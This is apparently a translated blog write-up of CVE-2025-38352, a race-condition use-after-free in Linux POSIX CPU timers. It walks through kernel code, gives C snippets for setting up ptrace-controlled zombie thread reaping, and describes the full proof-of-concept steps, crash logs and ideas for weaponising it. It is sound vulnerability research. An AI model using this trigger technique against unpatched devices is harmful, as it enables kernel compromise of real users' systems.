CVE-2025-38352 是 Linux 内核 中 POSIX CPU 定时器实现因竞态条件导致的一个使用后释放(Use-After-Free)漏洞。根据报告,该漏洞在现实世界中已被用于有限的、有针对性的攻击。

安全研究人员 @streypaws 已经发布了关于该漏洞的详细分析。他们的文章清晰地阐述了 POSIX CPU 定时器的工作原理以及触发此漏洞的条件,你可以在这里阅读:https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/
由于他们的分析文章没有提供触发漏洞的概念验证程序(PoC),另一位研究者决定亲自动手,将一个学习之夜投入到 PoC 的编写中。
本文将一窥该研究者分析和编写漏洞 PoC 的思路,同时也展示了这种方法对于学习新知识的价值。
PoC与补丁
如果你只想查看漏洞利用的 PoC 代码,可以在这里找到:
https://github.com/farazsth98/poc-CVE-2025-38352
相关的内核补丁提交记录在这里:
https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=f90fff1e152dedf52b932240ebbd670d83330eca
测试环境简述
内核版本
研究者使用了 LTS 内核版本 6.12.33,因为这是当时仍受此漏洞影响的最新 LTS 版本。
关于 CONFIG_POSIX_CPU_TIMERS_TASK_WORK
补丁提交记录中提到,如果启用了 CONFIG_POSIX_CPU_TIMERS_TASK_WORK 配置,则无法触发该漏洞。
@streypaws 的文章中提到他们无法关闭 CONFIG_POSIX_CPU_TIMERS_TASK_WORK 标志。这是因为该标志默认在 kernel/time/Kconfig 中被定义为内部依赖项:
config HAVE_POSIX_CPU_TIMERS_TASK_WORK
bool
config POSIX_CPU_TIMERS_TASK_WORK
bool
default y if POSIX_TIMERS && HAVE_POSIX_CPU_TIMERS_TASK_WORK
而 HAVE_POSIX_CPU_TIMERS_TASK_WORK 在 arch/x86/Kconfig 和 arch/arm64/Kconfig 中都有设置。因此,此漏洞实际上主要在未启用此配置的 32 位 Android 设备上可利用,这也解释了为什么它被描述为受到了有限的、有针对性的攻击。
为了能够在测试中关闭它,需要对 kernel/time/Kconfig 中的 POSIX_CPU_TIMERS_TASK_WORK 进行以下修改:
config POSIX_CPU_TIMERS_TASK_WORK
bool “CVE-2025-38352: POSIX_CPU_TIMERS_TASK_WORK toggle” if EXPERT
depends on POSIX_TIMERS && HAVE_POSIX_CPU_TIMERS_TASK_WORK
default y
help
For CVE-2025-38352 analysis.
修改后,可以通过 make menuconfig 切换此标志。在测试中,以 kernelCTF 的 LTS 配置为基础,仅进行了上述修改以允许关闭 CONFIG_POSIX_CPU_TIMERS_TASK_WORK。此外,还通过 make menuconfig 启用了完全抢占(在菜单中搜索 PREEMPT),因为 Android 内核默认开启此功能。
QEMU 设置
由于这是一个竞态条件漏洞,至少需要两个 CPU 才能触发。在测试中,使用了具有 4 个 CPU 的 QEMU 虚拟机:
qemu-system-x86_64 \
-enable-kvm \
-cpu host \
-smp cores=4 \
# [ ... ]
漏洞原理回顾
强烈建议在继续阅读前先阅读 @streypaws 的分析文章。下文将在此基础上,补充解释如何触发它的关键信息。
每当发生每个 CPU 的调度器时钟节拍时,内核会在每个 CPU 上调用 run_posix_cpu_timers()。如果某个定时器准备就绪,此函数最终会调用 handle_posix_cpu_timers()。
该漏洞具体发生的原因是,即使任务已变为僵尸状态(即任务的 tsk->exit_state 被设置为 EXIT_ZOMBIE),也允许 handle_posix_cpu_timers() 运行。
让我们快速浏览一下 handle_posix_cpu_timers() 以理解漏洞所在:
static void handle_posix_cpu_timers(struct task_struct *tsk)
{
struct k_itimer *timer, *next;
unsigned long flags, start;
LIST_HEAD(firing); // Faith: 定时器的本地列表
// Faith: 获取 tsk->sighand->siglock
if (!lock_task_sighand(tsk, &flags))
return;
do {
// [ 1 ]
// 将所有即将触发的定时器收集到 `firing` 列表中
check_thread_timers(tsk, &firing);
check_process_timers(tsk, &firing);
// [ ... ]
} while (!posix_cpu_timers_enable_work(tsk, start));
// Faith: 释放 tsk->sighand->siglock
unlock_task_sighand(tsk, &flags);
// Faith: 竞争窗口开始
// [ 2 ]
// Faith: 遍历 `firing` 列表并触发定时器
list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
// [ ... ]
// Faith: 在定时器访问结束后,竞争窗口结束。
}
}
参考上面代码中的注释,并假设只有一个即将触发的定时器:
- 获取
tsk->sighand->siglock 后,它会收集即将触发的定时器并将其存储在本地的 firing 列表中。值得注意的是,它此时会将该定时器从任务中移除。
- 收集定时器后,
tsk->sighand->siglock 被释放,然后函数遍历本地的 firing 列表并触发定时器。
现在,如果任务是僵尸任务,那么在 tsk->sighand->siglock 被释放后,一个竞争窗口就打开了。在这个竞争窗口内,另一个进程可以执行以下操作来释放 firing 列表中的定时器:
- 回收僵尸任务 - 父进程可以通过
waitpid() 完成此操作。
- 调用
timer_delete() 系统调用 - 这将调用 posix_cpu_timer_del() 并通过 RCU 释放定时器。
当父进程回收僵尸任务时,将对它调用 release_task(),而该函数最终会通过 __exit_signal() 将 tsk->sighand 设置为 NULL:
static void __exit_signal(struct task_struct *tsk)
{
// [ ... ]
sighand = rcu_dereference_check(tsk->sighand,
lockdep_tasklist_lock_is_held());
spin_lock(&sighand->siglock);
// [ ... ]
tsk->sighand = NULL; // Faith: 这里
spin_unlock(&sighand->siglock);
// [ ... ]
}
然后,当使用 timer_delete() 调用 posix_cpu_timer_del() 时,它会注意到 tsk->sighand 是 NULL,并直接返回 0:
static int posix_cpu_timer_del(struct k_itimer *timer)
{
// [ ... ]
int ret = 0;
// [ ... ]
sighand = lock_task_sighand(p, &flags);
if (unlikely(sighand == NULL)) {
WARN_ON_ONCE(ctmr->head || timerqueue_node_queued(&ctmr->node));
} else {
// [ ... ]
}
out:
// [ ... ]
return ret;
}
当 posix_cpu_timer_del() 返回 0 时,它会返回到 timer_delete() 系统调用处理程序,该处理程序将调用 posix_timer_unhash_and_free() 并释放定时器:
SYSCALL_DEFINE1(timer_delete, timer_t, timer_id)
{
// [ ... ]
retry_delete:
// [ ... ]
// Faith: timer_delete_hook() 调用 posix_cpu_timer_del()
if (unlikely(timer_delete_hook(timer) == TIMER_RETRY)) {
/* Unlocks and relocks the timer if it still exists */
timer = timer_wait_running(timer, &flags);
goto retry_delete;
}
// [ ... ]
posix_timer_unhash_and_free(timer);
return 0;
}
实际的释放是通过 RCU 完成的,因此不会立即发生:
static void posix_timer_unhash_and_free(struct k_itimer *tmr)
{
// [ ... ]
posix_timer_free(tmr);
}
static void posix_timer_free(struct k_itimer *tmr)
{
// [ ... ]
call_rcu(&tmr->rcu, k_itimer_rcu_free);
}
假设所有这些都发生在上述竞争窗口内,当 handle_posix_cpu_timers() 遍历本地的 firing 列表并访问定时器时,将导致一个使用后释放漏洞:
static void handle_posix_cpu_timers(struct task_struct *tsk)
{
// [ ... ]
// Faith: 遍历 `firing` 列表并触发定时器
list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
// [ ... ]
// Faith: UAF 发生在这里
}
}
PoC 构思与实现
既然我们知道了如何触发漏洞,让我们一步步规划并实现一个 PoC。
最小化的 POSIX CPU 定时器示例
首先,我们需要能够触发 handle_posix_cpu_timers()。以下是一个最小化的示例代码:
#include <time.h>
#include <signal.h>
#include <stdio.h>
#include <unistd.h>
void timer_fire(void){
printf("Timer fired\n");
}
int main(void){
struct sigevent sev = {0};
sev.sigev_notify = SIGEV_THREAD;
sev.sigev_notify_function = (void (*)(sigval_t))timer_fire;
timer_t timer;
int timerfd = timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &timer);
printf("Timer created: %d\n", timerfd);
struct itimerspec ts = {
.it_interval = {0, 0},
.it_value = {1, 0},
};
timer_settime(timer, 0, &ts, NULL);
printf("Timer started: %d\n", timerfd);
// 消耗CPU时间以触发定时器
while (1);
}
timer_create() 用于创建一个 POSIX CPU 定时器,当触发时会调用 timer_fire()。
timer_settime() 用于使定时器在当前线程消耗了 1 秒 CPU 时间后触发。
创建僵尸任务
为了理解如何将任务转换到 EXIT_ZOMBIE 退出状态,让我们查看一下 exit_notify(),当线程/进程运行完毕并退出时,会通过 do_exit() 调用:
static void exit_notify(struct task_struct *tsk, int group_dead)
{
// [ ... ]
LIST_HEAD(dead);
// [ ... ]
tsk->exit_state = EXIT_ZOMBIE; // [ 1 ]
// [ ... ]
// [ 2 ]
if (unlikely(tsk->ptrace)) {
int sig = thread_group_leader(tsk) &&
thread_group_empty(tsk) &&
!ptrace_reparented(tsk) ?
tsk->exit_signal : SIGCHLD;
autoreap = do_notify_parent(tsk, sig);
}
// [ ... ]
// [ 3 ]
if (autoreap) {
tsk->exit_state = EXIT_DEAD;
list_add(&tsk->ptrace_entry, &dead);
}
// [ ... ]
// [ 4 ]
list_for_each_entry_safe(p, n, &dead, ptrace_entry) {
list_del_init(&p->ptrace_entry);
release_task(p);
}
}
参考上面代码中的注释:
- 任务的退出状态最初自动设置为
EXIT_ZOMBIE。
- 如果任务当前正在被 ptrace 跟踪,
autoreap 被设置为 do_notify_parent() 的返回值。
- 只要父进程没有忽略
SIGCHLD 信号,do_notify_parent() 就会返回 false。
- 如果
autoreap 为 true,任务的退出状态将被改为 EXIT_DEAD,并被添加到本地的 dead 列表中。
- 遍历本地的
dead 列表,并对列表中的每个任务调用 release_task()。
根据我们在上一节的分析,我们知道 release_task() 会将 tsk->sighand 设置为 NULL。
由于我们实际上希望 handle_posix_cpu_timers() 能够锁定 tsk->sighand->siglock 并将我们即将触发的定时器收集到本地的 firing 列表中,我们不希望在这里立即释放任务。
因此,为了在这里创建一个僵尸任务,必须设置 tsk->ptrace,这意味着必须有一个父进程正在 ptrace 跟踪此任务。此外,父进程不得忽略 SIGCHLD 信号。
回收僵尸任务
在线程和进程的上下文中,“回收”是指完全释放和清理任务(主要是为其分配的任务结构)。最终的回收步骤通常是让内核在任务上调用 release_task()。
可以通过在父跟踪器进程中调用 waitpid(zombie_task_pid, ...) 来回收僵尸任务。我们希望的调用栈如下:
do_wait()
-> __do_wait()
-> do_wait_pid()
-> wait_consider_task()
-> wait_task_zombie()
-> release_task()
成功回收僵尸任务并对其调用 release_task() 必须满足的重要条件:
- 只有当我们指定一个 PID(而不是 TGID、PGID 等)时,才会调用
do_wait_pid()。
- 只有满足以下条件时,才会调用
wait_task_zombie():
- 僵尸任务正在被 ptrace 跟踪。
- 僵尸任务不是当前线程组的主线程(默认情况下,线程组的主线程是进程的主线程)。
为了满足上述条件,僵尸任务必须是被父进程 ptrace 跟踪的进程中的非主线程。
此外,父进程必须向 waitpid() 指定僵尸任务的线程 ID(也就是 PID),这意味着子进程必须以某种方式将线程 ID 传递给父进程。
可控地回收僵尸任务
以下 PoC 片段演示了一个父进程如何完全控制何时回收子进程中的非主线程:
#define _GNU_SOURCE
#include <stdio.h>
#include <pthread.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <err.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#define SYSCHK(x) ({ \
typeof(x) __res = (x); \
if (__res == (typeof(x))-1) \
err(1, “SYSCHK(” #x “)”); \
__res; \
})
void pin_on_cpu(int i){
cpu_set_t mask;
CPU_ZERO(&mask);
CPU_SET(i, &mask);
sched_setaffinity(0, sizeof(mask), &mask);
}
pthread_t reapee_thread;
pthread_barrier_t barrier;
int c2p[2]; // 子进程到父进程
int p2c[2]; // 父进程到子进程
void reapee(void){
pin_on_cpu(2);
prctl(PR_SET_NAME, “REAPEE”);
// 将此线程的线程ID发送给父进程
pid_t tid = (pid_t)syscall(SYS_gettid);
SYSCHK(write(c2p[1], &tid, sizeof(pid_t)));
// 等待父进程附加
pthread_barrier_wait(&barrier);
return;
}
int main(int argc, char *argv[]){
// 父进程和子进程设置
// 使用管道在父进程和子进程之间通信
SYSCHK(pipe(c2p));
SYSCHK(pipe(p2c));
pid_t pid = SYSCHK(fork());
if (pid) {
// 父进程
pin_on_cpu(1);
char m;
close(c2p[1]);
close(p2c[0]);
// 接收子进程的REAPEE线程的线程ID
pid_t tid;
SYSCHK(read(c2p[0], &tid, sizeof(pid_t)));
printf(“Parent: reapee thread ID: %d\n”, tid);
// 附加到REAPEE线程并继续执行它
printf(“Parent: attaching to REAPEE thread\n”);
SYSCHK(ptrace(PTRACE_ATTACH, tid, NULL, NULL));
SYSCHK(waitpid(tid, NULL, __WALL));
SYSCHK(ptrace(PTRACE_CONT, tid, NULL, NULL));
// 通知子进程我们已经附加并继续执行
SYSCHK(write(p2c[1], &m, 1));
// 现在回收REAPEE线程
printf(“Parent: press enter to reap REAPEE thread\n”);
getchar();
SYSCHK(waitpid(tid, NULL, __WALL));
printf(“Parent: detached from REAPEE\n”);
sleep(5);
} else {
// 子进程
pin_on_cpu(0);
char m;
close(c2p[0]);
close(p2c[1]);
prctl(PR_SET_NAME, “CHILD_MAIN”);
pthread_barrier_init(&barrier, NULL, 2);
pthread_create(&reapee_thread, NULL, (void*)reapee, NULL);
printf(“Thread created\n”);
// 父进程在附加并继续执行后向我们写入,使用屏障让REAPEE线程继续执行
SYSCHK(read(p2c[0], &m, 1));
pthread_barrier_wait(&barrier);
pause();
}
}
运行此代码后,可以观察到父进程能完全控制回收线程的时机。通过调试器在 release_task() 设置断点可以验证这一点。
编写完整的 PoC
现在,将上述知识结合起来,编写完整的漏洞触发 PoC。
扩展竞争窗口的内核补丁(辅助)
为了帮助更可靠地触发漏洞,研究者在 handle_posix_cpu_timers() 内部为特定线程添加了 500 毫秒的延迟以扩展竞争窗口:
static void handle_posix_cpu_timers(struct task_struct *tsk)
{
// [ ... ]
unlock_task_sighand(tsk, &flags);
// Faith: 扩展竞争窗口
if (strcmp(tsk->comm, “SLOWME”) == 0) {
printk(“Faith: Did we win? tsk->exit_state: %d\n”, tsk->exit_state);
mdelay(500);
}
// [ ... ]
}
请注意,此补丁并非触发漏洞所必需的,但在默认条件下由于竞争窗口极短(纳秒级)且 RCU 释放需要时间,使得原始漏洞极难触发。这个补丁大大增加了 PoC 的可靠性。
触发竞态条件
为了触发竞态条件,必须将 POSIX CPU 定时器的触发时机设置得恰到好处:当子进程中的非主线程退出时,必须刚好留有足够的 CPU 时间,以便内核的 do_exit() 函数可以调用 exit_notify() 并将任务转换为僵尸任务,然后定时器才触发。
然而,也不能留太多的 CPU 时间!否则,do_exit() 将完成执行并使用完它所需的所有 CPU 时间,如果定时器在此之后还需要消耗更多 CPU 时间,那么它最终将永远不会触发。
经过测试,在某些环境中,250,000 纳秒的 CPU 时间值效果很好。PoC 中通过 argv[1] 允许指定自定义的 wait_time 以便于测试。
PoC 的关键步骤如下:
- 父进程:创建子进程,接收子进程中目标线程的 TID,附加(ptrace)到该线程,然后在恰当时机调用
waitpid() 回收(触发 release_task())该僵尸线程。
- 子进程中的目标线程(SLOWME):创建一个 POSIX CPU 定时器,设置为在自定义的
wait_time 纳秒 CPU 时间后触发。然后消耗少量 CPU 并退出,使自己成为被 ptrace 跟踪的僵尸线程。
- 子进程主线程:在父进程回收僵尸线程后,立即调用
timer_delete() 来释放定时器。
通过精确的时间控制和进程间同步(管道、屏障),使得 handle_posix_cpu_timers()(在中断上下文中运行,并持有已释放定时器的指针)与 timer_delete()(在进程上下文中释放定时器)之间发生竞争,从而触发 Use-After-Free。
测试 PoC
- 使用
gcc -o poc -static poc.c 编译完整的 PoC 代码。
- 在虚拟机中循环运行
while true; do /poc; done。
请注意,即使有辅助补丁,PoC 也不是 100% 会触发竞态条件,因此需要循环运行。在真实漏洞利用中,攻击者需要更精巧地扩大竞争窗口。
崩溃日志
- 启用 KASAN 时,可以观察到明确的 slab-use-after-free 错误报告,指出在
posix_timer_queue_signal() 中发生了写入。
- 禁用 KASAN 时,可以观察到
send_sigqueue() 内部的 WARN_ON_ONCE 被触发,这是 UAF 访问的间接结果。
关于 CONFIG_POSIX_CPU_TIMERS_TASK_WORK 的说明
@streypaws 的文章提到,即使在启用了 CONFIG_POSIX_CPU_TIMERS_TASK_WORK 的情况下,也可能触发此漏洞。但根据分析,实际情况并非如此。
查看 do_exit() 中 exit_task_work() 的逻辑:它会“下毒” task->task_works 结构体,阻止任何进一步的工作在其上排队。由于该漏洞特别要求在 handle_posix_cpu_timers() 之前调用 exit_notify(),而 exit_task_work()(如果 handle_posix_cpu_timers() 被排队为任务工作,则会在此调用)发生在 exit_notify() 之前,因此在启用 CONFIG_POSIX_CPU_TIMERS_TASK_WORK 的情况下,无法触发此漏洞。这也与漏洞主要影响特定 32 位 Android 设备的描述相符。
漏洞利用前景
研究者不确定是否会为此漏洞编写完整的武器化利用,但指出了以下几点:
- POSIX CPU 定时器是从它们自己的
kmem_cache 分配的。
struct k_itimer 结构体并不复杂,因此很可能需要进行跨缓存攻击。
- 对于跨缓存攻击,很可能需要扩展
handle_posix_cpu_timers() 内部的竞争窗口,这本身可能就是一个挑战,因为该函数在调度器时钟节拍中断上下文中运行,此时 IRQ 被禁用。
- 本文的 PoC 已经提供了一个 UAF 攻击原语。从 Android 公告中提到该漏洞已被有限利用来看,它肯定是可利用的,主要需要解决上述的利用工程问题。
结论
分析和编写复杂漏洞的 PoC 是学习和进行漏洞研究的最佳方式之一。在这个实例中,研究者不仅学习了 POSIX CPU 定时器,还深入了解了 Linux 内核中任务生命周期、信号处理以及竞态条件漏洞分析的细节。
最终完整的 PoC 代码已上传至 GitHub:https://github.com/farazsth98/poc-CVE-2025-38352
欢迎在 云栈社区 交流更多内核安全与漏洞分析技术。
原文:https://faith2dxy.xyz/2025-12-22/cve_2025_38352_analysis/#final-poc